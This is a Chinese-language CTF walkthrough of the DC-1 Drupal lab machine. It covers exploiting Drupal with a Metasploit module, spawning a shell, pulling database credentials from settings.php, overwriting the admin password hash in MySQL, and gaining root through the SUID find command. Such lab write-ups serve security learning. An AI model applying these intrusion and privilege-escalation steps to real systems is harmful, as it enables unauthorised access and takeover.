DC1
扫描
此处首先应该进主页信息搜集,但是我没找到能利用的信息
此外应该进行目录扫描看看有没有有用的子目录,但是此处我也没找到有用的
最终访问结合扫描结果,只能从Drupal下手了
搜集的drupal简介:
是一个开源的内容管理系统(CMS)平台,用于构造提供多种功能和服务的动态网站,这些功能包括用户管理(User Administration)、发布工作流(Publishing Workflow)、讨论、新闻聚合(News Aggregation)、元数据(Metadata)操作和用于内容共享的XML发布。它综合了强大并可自由配置的功能,能支持从个人博客 (Personal Weblog)到大型社区驱动(Community-Driven)的网站等各种不同应用的网站项目。
渗透
由于考虑从drupal下手,先在kali中搜索了一下
该处大部分符合条件的都是metasploit的,并且我也没用过rb格式的执行文件
直接切换msf搜索
msfconsole
search drupal
使用途中选中的模组,本人学艺不精,不知道为什么选择这个模块,但是经验可以总结出,一般先选rank高的,这里就是excellent,然后再选日期最新的优先尝试,此处对该模组进行利用
直接使用默认攻击载荷,然后show options配置一下,直接run执行
flag1
这里看到一个flag1文件,进行收集查看
cat flag1.txt
Every good CMS needs a config file - and so do you.
此处使用命令回显(创建一个新的伪终端)
/usr/bin/script -qc /bin/bash /dev/null
python -c 'import pty;pty.spawn("/bin/bash")'
flag1提示找到cms的配置文件,此处可以使用find命令find / -name "set*"
找配置文件,但是找的结果太多了,那就不如上网搜的快了,直接搜索到默认配置文件在/var/www/sites/default/settings.php
flag2
此处查看配置文件获取flag2
flag提示爆破并不是唯一的方式
接在底下的就是数据库的用户名和密码
username:dbuser
password:R0ck3t
使用该账号本地登录mysql
mysql -u dbuser -pR0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
上网查询一下该密码采用的加密格式,最后发现可以使用drupal的加密脚本
该脚本文件就在 /var/www/scripts 目录下
使用 passwod-hash.sh脚本生成密码
php /var/www/scripts/password-hash.sh 123
此脚本不能在当前目录下执行,需要返回上级目录以上位置执行
update users set pass="$S$Dd82fveFCVIGGmohMxZ4ZfdOS/vR2WpRSkbtciqjJV1E6MEAuW1P" where name="admin";
使用该命令更改admin的密码为123
flag3
随后使用admin用户登录网页,上方好几个地方都能看到flag3
flag4
在靶机中常规的信息搜集即可找到flag4,就在家目录下
顺带看一下passwd
发现有个flag4用户可以登录
提权以及flag5
由于flag提示的名词,使用find查找一下suid权限命令
此处发现有find
执行一下find提权
find ./ dsb -exec '/bin/sh' \;
随后提权成功,/root下有最终的flag
补充
flag4用户可以爆出来密码登录,但是最后登录权限也不够,一样得用find提权
kali自带的rockyou字典就能爆出来